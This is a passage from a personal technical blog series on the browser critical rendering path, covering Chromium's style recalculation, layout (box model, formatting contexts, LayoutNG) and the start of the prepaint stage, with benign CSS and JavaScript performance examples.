**When MPC misses:** Elements with CSS custom properties, animations, or pseudo-class states (`:hover`, `:focus`) may not share styles.

### Selector Complexity and Cost

> "Roughly half of the time used in Blink to calculate the computed style for an element is used to match selectors, and the other half is used to construct the computed style representation from the matched rules." — Rune Lillesveen, Chromium engineer

Selector cost depends on:

| Factor                       | Impact                                                          | Example                 |
| ---------------------------- | --------------------------------------------------------------- | ----------------------- |
| **Key selector specificity** | Classes/IDs are O(1) lookup; universal/tag are broader          | `.nav-link` vs `a`      |
| **Combinator chain length**  | Each combinator requires ancestor/sibling traversal             | `.a .b .c .d`           |
| **Attribute selectors**      | `[attr]` is fast; `[attr*="value"]` requires string scanning    | `[class*="icon-"]`      |
| **Pseudo-classes**           | `:nth-child()` requires sibling counting; `:has()` is expensive | `:nth-last-child(-n+1)` |

**Production measurement:** Edge DevTools (109+) includes **Selector Stats** showing elapsed time, match attempts, and match count per selector. Use this to identify expensive selectors rather than guessing.

### Style Thrashing

Style Thrashing occurs when JavaScript interleaves style reads (`getComputedStyle()`, `offsetWidth`) with style writes (`.style.width = ...`), forcing synchronous recalculation:

```javascript title="style-thrashing.js" collapse={1-2, 14-20}
// Assume container and items exist
const container = document.getElementById("container")
const items = document.querySelectorAll(".item")

// BAD: Interleaved Read/Write — forces recalc on every iteration
items.forEach((item) => {
  const width = container.offsetWidth // READ → Triggers Sync Recalc
  item.style.width = `${width}px` // WRITE → Invalidates styles
})

// GOOD: Batch Reads, then Batch Writes
const width = container.offsetWidth // Single READ
items.forEach((item) => {
  item.style.width = `${width}px` // WRITE (batched)
})

// Helper functions omitted for brevity
function measureAll() {
  /* ... */
}
function applyAll() {
  /* ... */
}
```

**Why it's expensive:** Each read after a write forces the engine to flush pending style changes to return accurate values. With N items, the bad pattern causes N recalculations; the good pattern causes 1.

### Measuring Style Recalculation

**Chrome/Edge DevTools:**

1. Open Performance panel, record interaction
2. Look for purple "Recalculate Style" events
3. Enable "Selector Stats" (Settings → Experiments) to see per-selector costs

**Long Animation Frames API:** For production monitoring, the `LoAF` API captures style recalculation time affecting real users. The `web-vitals` library integrates this for Core Web Vitals tracking.

**Benchmark example:** The Edge DevTools team measured a photo gallery demo:

- Before optimization: ~900ms style recalculation
- After selector simplification: ~300ms (67% reduction)

## Conclusion

Style Recalculation sits at the intersection of CSS language semantics and engine implementation. The cascade algorithm (origin → layer → specificity → order) is specified by W3C; the optimization strategies (rule indexing, Bloom filters, invalidation sets, matched properties cache) are engine implementation details.

For production applications, focus on:

1. **Simple selectors with class-based key selectors** — enables efficient indexing and fast rejection
2. **Avoiding style thrashing** — batch reads before writes
3. **Measuring before optimizing** — use Selector Stats to find actual bottlenecks, not theoretical ones

The rendering pipeline continues to evolve. BlinkNG's strict phase separation now enables features like container queries that require precise style-layout boundaries—a constraint that would have been impossible under the older, leakier architecture.

---

## Appendix

### Prerequisites

- DOM Tree and CSSOM construction (earlier CRP articles)
- CSS Specificity calculation basics
- Basic algorithmic complexity (O-notation)

### Terminology

| Term                         | Definition                                                                                                   |
| ---------------------------- | ------------------------------------------------------------------------------------------------------------ |
| **UA Stylesheet**            | User-Agent stylesheet; browser's default styles (e.g., `display: block` for `<div>`)                         |
| **Computed Value**           | Value after cascade resolution and inheritance, before layout                                                |
| **Used Value**               | Final value after layout calculations (e.g., percentages resolved to pixels)                                 |
| **Resolved Value**           | What `getComputedStyle()` returns; may be computed or used depending on property and render state            |
| **Key Selector**             | Rightmost compound selector; determines which rule bucket an element checks                                  |
| **InvalidationSet**          | Blink data structure tracking which elements need recalculation when specific classes/attributes change      |
| **Bloom Filter**             | Probabilistic data structure for fast set membership testing; allows false positives but not false negatives |
| **Matched Properties Cache** | Blink optimization enabling style sharing between elements with identical matching rules                     |

### Summary

- Style Recalculation produces a `ComputedStyle` for every DOM element by matching rules, resolving cascade conflicts, and computing absolute values
- Engines index rules by rightmost selector and match right-to-left—Bloom filters fast-reject impossible ancestor chains
- The CSS Cascade (Level 5) resolves conflicts via: origin → encapsulation → element-attached → layer → specificity → order
- InvalidationSets minimize recalculation scope by tracking which selectors affect which DOM changes
- Style Thrashing forces synchronous recalculation—always batch reads before writes
- Measure with DevTools Selector Stats; don't optimize selectors blindly

### References

- [W3C CSS Cascading and Inheritance Level 5](https://www.w3.org/TR/css-cascade-5/) — Authoritative cascade algorithm specification
- [W3C Selectors Level 4](https://www.w3.org/TR/selectors-4/) — Selector syntax and matching semantics
- [W3C CSSOM](https://www.w3.org/TR/cssom-1/) — Resolved/computed/used value definitions
- [Chromium: CSS Style Calculation in Blink](https://chromium.googlesource.com/chromium/src/+/HEAD/third_party/blink/renderer/core/css/style-calculation.md) — Blink implementation details
- [Chromium: CSS Style Invalidation in Blink](https://chromium.googlesource.com/chromium/src/+/HEAD/third_party/blink/renderer/core/css/style-invalidation.md) — InvalidationSet mechanics
- [Chrome for Developers: BlinkNG](https://developer.chrome.com/docs/chromium/blinkng) — Rendering pipeline architecture
- [Microsoft Edge Blog: The Truth About CSS Selector Performance](https://blogs.windows.com/msedgedev/2023/01/17/the-truth-about-css-selector-performance/) — Modern selector benchmarks and Selector Stats
- [web.dev: Reduce the Scope and Complexity of Style Calculations](https://web.dev/articles/reduce-the-scope-and-complexity-of-style-calculations) — Practical optimization guidance
- [Performance Calendar: CSS Selector Performance Has Changed](https://calendar.perfplanet.com/2011/css-selector-performance-has-changed-for-the-better/) — Historical Bloom filter impact

---

## Critical Rendering Path: Layout Stage

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/critical-rendering-path/crp-layout
**Category:** Browser & Runtime Internals / Critical Rendering Path
**Description:** Layout is the rendering pipeline stage that transforms styled elements into physical geometry—computing exact pixel positions and sizes for every visible box. In Chromium’s LayoutNG architecture, this stage produces the Fragment Tree, an immutable data structure describing how elements are broken into boxes (fragments) with resolved coordinates.

# Critical Rendering Path: Layout Stage

Layout is the rendering pipeline stage that transforms styled elements into physical geometry—computing exact pixel positions and sizes for every visible box. In Chromium's LayoutNG architecture, this stage produces the **Fragment Tree**, an immutable data structure describing how elements are broken into boxes (fragments) with resolved coordinates.

<figure>

![Layout receives the LayoutObject Tree and ComputedStyle from Style Recalculation, applies box model rules and formatting contexts, and produces an immutable Fragment Tree consumed by Prepaint.](./layout-receives-the-layoutobject-tree-and-computedstyle-from-style-recalculation.svg)

<figcaption>Layout receives the LayoutObject Tree and ComputedStyle from Style Recalculation, applies box model rules and formatting contexts, and produces an immutable Fragment Tree consumed by Prepaint.</figcaption>
</figure>

## Abstract

Layout answers: **where does each box go, and how big is it?** The mental model:

1. **Input/Output separation** — Layout receives immutable inputs (LayoutObject Tree, ComputedStyle, parent constraints) and produces an immutable output (Fragment Tree). This separation enables caching, parallelization, and eliminates a class of bugs caused by reading partially-computed state.

2. **Constraint propagation** — Geometry flows in two passes. The **constraint pass** propagates available space downward (parent tells child how much room exists). The **fragment pass** propagates intrinsic sizes upward (child reports how much space it needs). Some layout modes (flex, grid) require multiple passes.

3. **Formatting contexts as boundaries** — Each formatting context (block, inline, flex, grid) follows its own layout algorithm. Establishing a new Block Formatting Context (BFC) isolates internal layout from external influence—changes inside don't force relayout outside.

4. **Immutability prevents hysteresis** — LayoutNG's Fragment Tree is immutable after computation. This prevents "layout jitter" bugs where reading dimensions mid-computation returns stale values, and enables fragment reuse across frames.

The cost scales with: (number of dirty nodes) × (layout passes per node) × (constraint complexity). Deep nesting of two-pass layouts (flex, grid) historically caused O(2^n) complexity; LayoutNG's caching restores O(n).

---

## From Mutable Tree to Fragment Tree

> **Prior to LayoutNG (pre-2019):** Blink used a mutable layout tree where each `LayoutObject` stored both input data (available size, float positions) and output data (final dimensions, positions). Objects persisted between renders and were marked dirty when styles changed. This architecture caused three categories of bugs:
>
> - **Under-invalidation**: Layout incorrectly deemed clean despite changed constraints
> - **Hysteresis**: Non-idempotent layout where results depended on previous state
> - **Over-invalidation**: Fixing under-invalidation often invalidated too much, creating performance cliffs

LayoutNG formalizes the conceptual model by separating inputs from outputs completely. The LayoutObject Tree (created during Style Recalculation) holds input data; the Fragment Tree holds output data. Accessing previous layout state is architecturally prevented.

According to the Chromium LayoutNG design docs:

> "Because we have explicit input and output data-structures, and accessing the previous state isn't allowed, we have broadly mitigated this class of bug from the layout system."

**What changed:**

| Aspect              | Pre-LayoutNG                        | LayoutNG (2019+)            |
| ------------------- | ----------------------------------- | --------------------------- |
| Data structure      | Mutable `LayoutObject` tree         | Immutable Fragment Tree     |
| State access        | Previous values readable mid-layout | Inputs/outputs separated    |
| Caching             | Ad-hoc invalidation flags           | Constraint-based cache keys |
| Two-pass complexity | O(2^n) for nested flex/grid         | O(n) via pass caching       |

---

## The Box Model

Every element generates a box with four nested areas. Understanding their interaction is fundamental to layout calculations.

```plain
┌─────────────────────────────────────────┐
│                 MARGIN                  │ ← External spacing (not part of box size)
│   ┌─────────────────────────────────┐   │
│   │             BORDER              │   │ ← Visual edge
│   │   ┌─────────────────────────┐   │   │
│   │   │         PADDING         │   │   │ ← Internal spacing
│   │   │   ┌─────────────────┐   │   │   │
│   │   │   │     CONTENT     │   │   │   │ ← Actual content
│   │   │   └─────────────────┘   │   │   │
│   │   └─────────────────────────┘   │   │
│   └─────────────────────────────────┘   │
└─────────────────────────────────────────┘
```

Per [CSS Box Model Level 3](https://www.w3.org/TR/css-box-3/):

> "Each CSS box has a rectangular content area, a band of padding around the content, a border around the padding, and a margin outside the border."

### Box-Sizing: Which Dimension Does `width` Control?

The `box-sizing` property determines what `width` and `height` properties measure—a source of layout surprises.

**`content-box`** (default per CSS spec):

```css collapse={1, 6-7}
.element {
  box-sizing: content-box;
  width: 100px;
  padding: 10px;
  border: 5px solid;
}
/* Total rendered width: 5 + 10 + 100 + 10 + 5 = 130px */
```

**`border-box`**:

```css collapse={1, 6-7}
.element {
  box-sizing: border-box;
  width: 100px;
  padding: 10px;
  border: 5px solid;
}
/* Total rendered width: 100px (content shrinks to 70px) */
```

**Why `border-box` is preferred**: With `content-box`, adding padding or border increases the element's outer size—breaking layouts when you add internal spacing. With `border-box`, the outer size stays fixed; only content area shrinks. This makes component sizing predictable and composable.

**Edge case**: Per [CSS Box Sizing Level 3](https://www.w3.org/TR/css-sizing-3/), the content area cannot go negative. If padding + border exceeds the specified `border-box` width, the box expands beyond the specified size.

### Margin Collapsing

Adjacent vertical margins in block flow collapse into a single margin (the larger of the two). This behavior is defined in [CSS2 §8.3.1](https://www.w3.org/TR/CSS2/box.html#collapsing-margins) and affects:

- Adjacent siblings
- Parent and first/last child (when no padding/border separates them)
- Empty blocks

**Why margin collapsing exists**: Without it, spacing between paragraphs would double (bottom margin + next top margin). Collapsing produces typographically correct spacing. The trade-off is counter-intuitive behavior when margins "escape" their containers.

**How to prevent collapse**: Establish a new BFC (Block Formatting Context) via `overflow: hidden`, `display: flow-root`, or `contain: layout`. The BFC boundary prevents margin interaction.

---

## Formatting Contexts

Formatting contexts are isolated regions following specific layout rules. They're the browser's mechanism for encapsulating layout algorithms.

### Block Formatting Context (BFC)

A BFC is a layout environment where:

- Block boxes stack vertically
- Floats are contained (don't escape)
- Margins don't collapse with external elements

**What establishes a BFC** (per [CSS Display Level 3](https://www.w3.org/TR/css-display-3/#block-formatting-context)):

- `overflow` other than `visible` or `clip`
- `display: flow-root` (explicit BFC, no side effects)
- `display: flex`, `grid`, `table`
- `contain: layout` or `contain: paint`
- `float` or `position: absolute/fixed`

> **Historical note**: Before `display: flow-root` (2016), developers used `overflow: hidden` or the "clearfix" hack to create BFCs. These had side effects (clipping overflow, adding pseudo-elements). `flow-root` was added to the spec specifically to provide a clean, side-effect-free BFC.

**Why BFC matters for performance**: A BFC acts as a layout boundary. Changes inside often don't require recalculating layout outside, effectively "pruning" the dirty subtree. The browser can skip ancestor and sibling relayout.

### Inline Formatting Context (IFC)

IFC governs horizontal text flow:

- Inline boxes flow left-to-right (in LTR languages), wrapping at container edges
- Vertical alignment uses `vertical-align` (default: `baseline`)
- **Line boxes** contain each line of inline content

**Key inline behavior**:

- `width` and `height` are **ignored** on inline elements
- Vertical margins are **ignored**; only horizontal margins apply
- Padding and border render but don't affect line box height

### Anonymous Boxes

The browser generates anonymous boxes to maintain structural integrity when content doesn't match formatting expectations:

```html
<div>
  <p>Paragraph</p>
  Orphaned text gets an anonymous block box
</div>
```

The orphaned text receives an anonymous block box so it participates correctly in the parent's block formatting context. Anonymous boxes inherit through the box tree, not the element tree.

---

## The Containing Block

The containing block is the reference rectangle for percentage-based sizes and positioned elements. Its determination depends on `position`:

| Position             | Containing Block                                           |
| -------------------- | ---------------------------------------------------------- |
| `static`, `relative` | Content box of nearest block-level ancestor                |
| `absolute`           | Padding box of nearest ancestor with `position` ≠ `static` |
| `fixed`              | Usually viewport; but see below                            |

### Fixed Positioning Edge Cases

A `position: fixed` element's containing block is normally the viewport. However, these CSS properties on an ancestor change the containing block to that ancestor:

- `transform` (any value including `translateZ(0)`)
- `filter` (any value including `blur(0)`)
- `perspective` (any value)
- `contain: paint` or `contain: layout`
- `backdrop-filter`
- `will-change` referencing transform, filter, or perspective

```css
.modal-container {
  transform: translateZ(0); /* Promotes to layer, BUT... */
}

.modal {
  position: fixed; /* Now relative to .modal-container, not viewport! */
  top: 0;
  left: 0;
}
```

This per-spec behavior surprises developers who expect `fixed` to always be viewport-relative. It's intentional: transforms create a new coordinate space, so "fixed" positions must be relative to that space.

---

## Intrinsic vs Extrinsic Sizing

Layout resolves element sizes through two mechanisms:

**Extrinsic sizing**: Dimensions come from external constraints—explicit `width`/`height`, percentage of containing block, or stretching to fill available space.

**Intrinsic sizing**: Dimensions derive from content. CSS defines three intrinsic sizes per [CSS Sizing Level 3](https://www.w3.org/TR/css-sizing-3/):

| Size          | Definition                                                         | Use Case                    |
| ------------- | ------------------------------------------------------------------ | --------------------------- |
| `min-content` | Smallest size without overflow (takes all soft wrap opportunities) | Text wrapping at every word |
| `max-content` | Ideal size with infinite space (no forced line breaks)             | Single-line text width      |
| `fit-content` | `clamp(min-content, stretch, max-content)`                         | Shrink-to-fit behavior      |

**How the constraint algorithm works:**

1. Parent provides **available space** (the extrinsic constraint)
2. Child computes **intrinsic sizes** based on content
3. Final size = `clamp(min-width, computed-width, max-width)`

**Two-pass layouts**: Flex and grid sometimes need to know child intrinsic sizes before determining final sizes. This requires a "measure pass" followed by a "layout pass."

---

## Layout Performance

### The Dirty Bit System

To avoid relaying the entire page on every change, browsers track layout validity with dirty flags:

| Flag                 | Scope            | Meaning                      |
| -------------------- | ---------------- | ---------------------------- |
| `NeedsLayout`        | Single node      | This node's geometry changed |
| `ChildNeedsLayout`   | Direct children  | Some child needs layout      |
| `SubtreeNeedsLayout` | Deep descendants | Some descendant needs layout |

When a node changes, it and ancestors are marked dirty. The next layout pass visits only dirty paths.

### Layout Triggers

Properties affecting geometry invalidate layout:

- **Size**: `width`, `height`, `min-*`, `max-*`, `padding`, `margin`, `border`
- **Content**: `font-size`, `font-family`, `line-height`, `text-content`
- **Structure**: `appendChild()`, `removeChild()`, `innerHTML`
- **Position**: `top`, `left`, `right`, `bottom` (for positioned elements)

### Forced Synchronous Layout (Layout Thrashing)

Reading geometry properties from JavaScript forces synchronous layout if the layout is dirty. This creates **layout thrashing** when reads and writes interleave:

```javascript collapse={1-2, 11-15}
// Assume elements exist
const items = document.querySelectorAll(".item")

// ❌ BAD: Layout thrashing — O(n) layouts
for (const item of items) {
  const width = item.offsetWidth // READ forces layout
  item.style.width = width * 2 + "px" // WRITE invalidates layout
}

// ✅ GOOD: Batch reads, then batch writes — O(1) layout
const widths = Array.from(items).map((el) => el.offsetWidth) // All reads
items.forEach((el, i) => {
  el.style.width = widths[i] * 2 + "px" // All writes
})
```

**Properties that force layout** (per [Paul Irish's comprehensive list](https://gist.github.com/paulirish/5d52fb081b3570c81e3a)):

- `offsetLeft/Top/Width/Height`, `offsetParent`
- `clientLeft/Top/Width/Height`
- `scrollLeft/Top/Width/Height`, `scrollBy()`, `scrollTo()`, `scrollIntoView()`
- `getClientRects()`, `getBoundingClientRect()`
- `getComputedStyle()` (for layout-dependent properties)
- `innerText` (requires layout to determine visible text)
- `focus()` (may scroll into view)

### CSS Containment for Layout Isolation

The `contain` property explicitly marks layout boundaries:

```css
.widget {
  contain: layout; /* Internal changes don't affect external layout */
}
```

Per [CSS Containment Level 2](https://www.w3.org/TR/css-contain-2/):

> "The contents of separate containment boxes can be laid out in parallel, as they're guaranteed not to affect each other."

**Containment values affecting layout**:

| Value     | Effect                                                         |
| --------- | -------------------------------------------------------------- |
| `layout`  | Establishes independent formatting context; no baseline export |
| `size`    | Element sized as if empty; intrinsic size ignored              |
| `content` | Equivalent to `layout paint style`                             |
| `strict`  | Equivalent to `size layout paint style`                        |

**Design trade-off**: `contain: layout` isolates layout at the cost of baseline alignment. For grid/flex items or text alignment, this may cause visual issues.

### `content-visibility` for Deferred Layout

`content-visibility: auto` skips layout for off-screen content entirely:

```css
.below-fold-section {
  content-visibility: auto;
  contain-intrinsic-size: 0 500px; /* Placeholder size for scrollbar stability */
}
```

**Performance impact**: The web.dev team measured a travel blog demo reducing render time from 232ms to 30ms—a **7x improvement**. Facebook reported up to 250ms improvement in navigation times.

**`contain-intrinsic-size` is essential**: Without it, off-screen elements have zero height, causing scrollbar jumping. The `auto` keyword tells the browser to remember the last-rendered size:

```css
.section {
  content-visibility: auto;
  contain-intrinsic-size: auto 500px; /* Remember actual size after first render */
}
```

**Edge case**: Calling layout-forcing APIs (`offsetWidth`, `getBoundingClientRect()`) on `content-visibility: auto` elements forces their layout, negating the optimization. Chrome logs console warnings when this occurs.

---

## LayoutNG: Complexity Reduction

### The Exponential Layout Problem

Two-pass layouts (flex, grid) previously caused exponential complexity when nested:

```
Nesting depth: 1 → 2 visits
Nesting depth: 2 → 4 visits
Nesting depth: 3 → 8 visits
Nesting depth: n → 2^n visits
```

For a 10-deep flex nesting, this meant 1,024 layout operations. The Chromium team documented cases where small CSS changes caused 50-100ms layout delays.

### LayoutNG's Solution: Pass Caching

LayoutNG caches both measure and layout passes using **parent constraints as cache keys**:

1. Before laying out a child, hash its parent constraints (available width, writing mode, etc.)
2. Check cache for matching constraint set
3. If cache hit, reuse previous fragment
4. If cache miss, compute and cache new fragment

This restores O(n) complexity regardless of nesting depth. Per the Chromium team:

> "When we moved flex over to the new architecture our metrics showed large improvements in very slow layout times in the wild, indicating that we clearly missed some cases which the new system caught."

---

## Conclusion

Layout bridges abstract styles and physical pixels. Modern engines like LayoutNG achieve correctness and performance through:

1. **Immutable outputs**: The Fragment Tree can't be modified after computation, eliminating hysteresis bugs
2. **Constraint-based caching**: Parent constraints serve as cache keys, restoring linear complexity
3. **Explicit boundaries**: Formatting contexts and containment isolate layout scope
4. **Deferred computation**: `content-visibility: auto` skips off-screen work entirely

For developers, optimization means: avoiding forced synchronous layout, leveraging CSS Containment for complex widgets, and using `content-visibility` to defer off-screen content.

---

## Appendix

### Prerequisites

- [Style Recalculation](../crp-style-recalculation/README.md): How ComputedStyle and the LayoutObject Tree are produced
- [Rendering Pipeline Overview](../crp-rendering-pipeline-overview/README.md): Where layout fits in the full pipeline
- Familiarity with CSS Box Model and display property

### Terminology

| Term                                | Definition                                                                                     |
| :---------------------------------- | :--------------------------------------------------------------------------------------------- |
| **LayoutObject Tree**               | Mutable tree created during Style Recalculation; holds input data for layout                   |
| **Fragment Tree**                   | Immutable output of layout; contains resolved positions and sizes                              |
| **BFC (Block Formatting Context)**  | Layout environment where blocks stack vertically and floats are contained                      |
| **IFC (Inline Formatting Context)** | Layout environment for horizontal text flow                                                    |
| **Containing Block**                | Reference rectangle for percentage sizes and positioned elements                               |
| **Intrinsic Size**                  | Dimension derived from content (min-content, max-content, fit-content)                         |
| **Extrinsic Size**                  | Dimension from external constraints (explicit width, percentage, stretch)                      |
| **Layout Thrashing**                | Performance anti-pattern: interleaved DOM reads and writes forcing repeated synchronous layout |
| **LayoutNG**                        | Chromium's 2019+ layout engine with immutable Fragment Tree output                             |

### Summary

- Layout receives the LayoutObject Tree and produces an immutable **Fragment Tree** with resolved geometry
- The CSS Box Model defines content, padding, border, and margin areas; `box-sizing` controls what `width`/`height` measure
- **Formatting contexts** (BFC, IFC, flex, grid) encapsulate layout algorithms and act as optimization boundaries
- **Forced synchronous layout** occurs when reading geometry after DOM changes—batch reads before writes
- **CSS Containment** (`contain: layout`) and `content-visibility: auto` limit layout scope and defer off-screen work
- LayoutNG's constraint-based caching eliminated O(2^n) complexity from nested flex/grid layouts

### References

- [W3C CSS Box Model Level 3](https://www.w3.org/TR/css-box-3/) — Box model specification
- [W3C CSS Display Level 3](https://www.w3.org/TR/css-display-3/) — Display types and formatting contexts
- [W3C CSS Box Sizing Level 3](https://www.w3.org/TR/css-sizing-3/) — Intrinsic/extrinsic sizing, box-sizing property
- [W3C CSS Containment Level 2](https://www.w3.org/TR/css-contain-2/) — Containment and content-visibility specification
- [Chromium LayoutNG Design](https://developer.chrome.com/docs/chromium/layoutng) — LayoutNG architecture and rationale
- [Chromium RenderingNG Data Structures](https://developer.chrome.com/docs/chromium/renderingng-data-structures) — Fragment Tree and immutability
- [Chromium BlinkNG](https://developer.chrome.com/docs/chromium/blinkng) — Pipeline lifecycle and geometry centralization
- [What Forces Layout/Reflow](https://gist.github.com/paulirish/5d52fb081b3570c81e3a) — Paul Irish's comprehensive forced layout list
- [web.dev: content-visibility](https://web.dev/articles/content-visibility) — Performance optimization with content-visibility

---

## Critical Rendering Path: Prepaint

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/critical-rendering-path/crp-prepaint
**Category:** Browser & Runtime Internals / Critical Rendering Path
**Description:** Prepaint is a RenderingNG pipeline stage that performs an in-order traversal of the LayoutObject tree to build Property Trees and compute paint invalidations. It decouples visual effect state (transforms, clips, filters, scroll offsets) from the paint and compositing stages, enabling compositor-driven animations and off-main-thread scrolling.

# Critical Rendering Path: Prepaint

Prepaint is a RenderingNG pipeline stage that performs an in-order traversal of the **LayoutObject tree** to build **Property Trees** and compute paint invalidations. It decouples visual effect state (transforms, clips, filters, scroll offsets) from the paint and compositing stages, enabling compositor-driven animations and off-main-thread scrolling.

<figure>

![PrePaintTreeWalk traverses the LayoutObject tree, producing four property trees and paint invalidation decisions. Each element receives a PropertyTreeState—a 4-tuple of node references.](./prepainttreewalk-traverses-the-layoutobject-tree-producing-four-property-trees-a.svg)

<figcaption>PrePaintTreeWalk traverses the LayoutObject tree, producing four property trees and paint invalidation decisions. Each element receives a PropertyTreeState—a 4-tuple of node references.</figcaption>
</figure>

## Abstract

Prepaint bridges layout geometry and visual rendering through two independent operations:

1. **Property Tree Construction**: Builds four sparse trees (transform, clip, effect, scroll) where each node represents a CSS property that creates a new coordinate space or visual effect. Elements store a `PropertyTreeState`—a 4-tuple `(transform_id, clip_id, effect_id, scroll_id)` pointing to their nearest ancestor nodes in each tree.

2. **Paint Invalidation**: Determines which display items need re-recording by comparing the current visual state against cached paint artifacts.

**Why this matters**: Traditional layer trees required O(layers) traversal to compute any element's final visual state (matrix multiplication through ancestors). Property trees reduce compositor updates to O(affected nodes)—the compositor can apply a different transform matrix by updating a single node, without re-walking layout or paint. This is the architectural foundation for 60fps scrolling and compositor-driven animations even when JavaScript blocks the main thread.

---

## The Problem: O(layers) Compositing Updates

In pre-RenderingNG Chromium (before M94), visual properties were baked into a monolithic **Layer Tree**. Each composited layer stored its own transform matrix, clip rect, and effect values. Computing the final visual state of any element required multiplying matrices through all ancestor layers—an O(layers) operation.

**Concrete impact**: A page with 500 composited layers animating a single element's `transform` would trigger a full layer tree walk on every frame. At 60fps, this meant 30,000 matrix multiplications per second just to update one element. Complex web apps experienced frame drops (jank) whenever the main thread was busy, because scrolling and animations competed for the same layer tree traversal.

### The Slimming Paint Solution

The **Slimming Paint** project (spanning M45–M94) incrementally decoupled visual properties from the layer hierarchy:

| Phase                     | Chromium | Change                                          |
| ------------------------- | -------- | ----------------------------------------------- |
| SlimmingPaintV1           | M45      | Paint using display items                       |
| SlimmingPaintInvalidation | M58      | Property trees introduced in Blink              |
| SlimmingPaintV175         | M67      | Paint chunks with property tree references      |
| BlinkGenPropertyTrees     | M75      | Final property trees generated in Blink, not cc |
| CompositeAfterPaint       | M94      | Compositing decisions moved after paint         |

**Result**: Property trees reduced compositor updates from O(layers) to O(affected nodes). Total Chrome CPU usage dropped 1.3%, with 3.5%+ improvement to 99th percentile scroll latency.

---

## Property Tree Architecture

During Prepaint, the `PaintPropertyTreeBuilder` constructs four sparse trees. Each node represents a CSS property that changes coordinate space or visual effect for its descendants.

### Transform Tree

Stores 4×4 transformation matrices for translations, rotations, scales, and perspective. Each node contains:

- **Transformation matrix**: The local transform (e.g., `rotate(45deg)` → rotation matrix)
- **Transform origin**: The point around which transformations apply (default: `50% 50%`)
- **Flattens inherited transform**: Whether 3D context is preserved or flattened to 2D
- **Rendering context ID**: Groups elements sharing a 3D rendering context

**Design rationale**: Separating transforms into a dedicated tree enables the compositor to update an element's position by swapping a single matrix node. The compositor multiplies matrices lazily—only when drawing—rather than eagerly during main-thread traversal.

**Edge case**: `transform` creates a containing block for `position: fixed` descendants. A `fixed` element inside a transformed parent scrolls with that parent, not the viewport. This surprises developers who expect `fixed` to always be viewport-relative.

```css
.modal-container {
  transform: translateZ(0); /* Promotes to layer */
}

.modal {
  position: fixed; /* Now relative to .modal-container, not viewport! */
  top: 0;
  left: 0;
}
```

### Clip Tree

Defines visible boundaries using float rectangles with optional rounded corners or clip paths. Each node specifies:

- **Clip rectangle**: The clipping boundary in local coordinates
- **Rounded corners**: Border-radius values for soft clips
- **Clip path**: Arbitrary SVG path or CSS shape

**Design rationale**: Separating clips from transforms allows the compositor to update scroll offsets independently. A scroll container's clip rect stays constant while only the scroll offset (in the transform tree) changes—no clip recalculation needed.

**CSS `overflow: clip` vs `hidden`**: Both clip content, but `hidden` allows programmatic scrolling (`scrollTo()`) while `clip` forbids all scrolling. Critically, `clip` doesn't establish a new formatting context, unlike `hidden`. Use `clip` when you need clipping without the side effects of BFC (Block Formatting Context) creation.

### Effect Tree

Manages compositing operations: opacity, filters, blend modes, and masks. Each node contains:

- **Opacity**: The alpha multiplier (0.0–1.0)
- **Filter**: CSS filter functions (`blur()`, `brightness()`, etc.)
- **Blend mode**: How colors combine with backdrop (`multiply`, `screen`, etc.)
- **Mask reference**: Optional clip node constraining effect output

**Design rationale**: Effects like `opacity < 1` create transparency groups—all descendants must be composited together before applying the opacity to the group. Without a dedicated effect tree, the compositor couldn't distinguish "apply opacity to this subtree" from "apply opacity to each element individually."

**Edge case**: `filter` and `opacity` create stacking contexts and containing blocks for fixed/absolute descendants (same as `transform`). A `filter: blur(0)` with no visual effect still triggers these side effects.

**Rendering order** (per CSS Filter Effects spec): filters apply first, then clipping, then masking, then opacity. Getting this wrong produces incorrect visual output when elements combine multiple effects.

### Scroll Tree

Encodes scrollable regions, their offsets, and scroll chaining relationships:

- **Scrollable directions**: Which axes allow scrolling (horizontal, vertical, both)
- **Scroll offset**: Current scroll position (linked to a transform node)
- **Container size vs content size**: Determines scrollbar presence
- **Scroll parent**: Establishes scroll bubbling chain

**Design rationale**: The scroll tree enables **off-main-thread scrolling**. The compositor has all metadata needed to update scroll offsets and transform visible content without main-thread involvement. When JavaScript blocks the main thread for 100ms, scrolling remains smooth because the compositor handles it independently.

**Implementation detail**: Scroll offsets are stored as 2D translations in transform nodes, not directly in scroll nodes. This allows the compositor's transform pipeline to handle scroll position identically to other transforms.

---

## PropertyTreeState: The Per-Element 4-Tuple

After Prepaint, every element stores a `PropertyTreeState`—a 4-tuple of node IDs:

```
PropertyTreeState = (transform_id, clip_id, effect_id, scroll_id)
```

This tuple points to the nearest ancestor nodes in each tree that affect the element. To compute an element's final visual state, the compositor walks from each node to the root, accumulating transforms/clips/effects. Because property trees are sparse (most elements don't create new nodes), these walks are short.

**Example**: A deeply nested `<span>` with no CSS visual properties shares its parent's PropertyTreeState. Only elements with `transform`, `clip-path`, `opacity`, `filter`, `overflow: scroll`, etc., create new tree nodes.

## PrePaintTreeWalk: The LayoutObject Traversal

The `PrePaintTreeWalk` class performs an **in-order traversal** of the LayoutObject tree, beginning from the root `FrameView` and crossing iframe boundaries. This ordering matters: it enables efficient computation of DOM-order relationships like parent containing blocks.

**Correction**: Prepaint traverses the **LayoutObject tree** (created during Style Recalc), not the Fragment Tree. The Fragment Tree provides geometry data, but the traversal follows LayoutObject hierarchy because property tree relationships depend on DOM structure, not physical fragment positions.

### Traversal Steps

For each LayoutObject visited:

1. **Dirty bit check**: If `NeedsPaintPropertyUpdate`, `SubtreeNeedsPaintPropertyUpdate`, or `DescendantNeedsPaintPropertyUpdate` is set, process this node. Otherwise, skip the subtree (major optimization).

2. **Property tree building**: `PaintPropertyTreeBuilder` creates or updates nodes in the four trees based on the element's computed styles. New nodes are created only when CSS properties require them (e.g., `transform`, `clip-path`, `opacity < 1`, `overflow: scroll`).

3. **FragmentData population**: Each LayoutObject's `FragmentData` receives an `ObjectPaintProperties` object pointing to its property tree nodes. Multi-column layouts create multiple FragmentData per LayoutObject.

4. **Paint invalidation**: `PaintInvalidator` compares current visual state against cached paint artifacts, marking display item clients that need re-recording.

### The Dirty Bit System

Prepaint uses three dirty flags to minimize traversal:

| Flag                                 | Scope              | Meaning                        |
| ------------------------------------ | ------------------ | ------------------------------ |
| `NeedsPaintPropertyUpdate`           | Single node        | This node's properties changed |
| `SubtreeNeedsPaintPropertyUpdate`    | Direct descendants | Children need property updates |
| `DescendantNeedsPaintPropertyUpdate` | Deep descendants   | Some descendant needs update   |

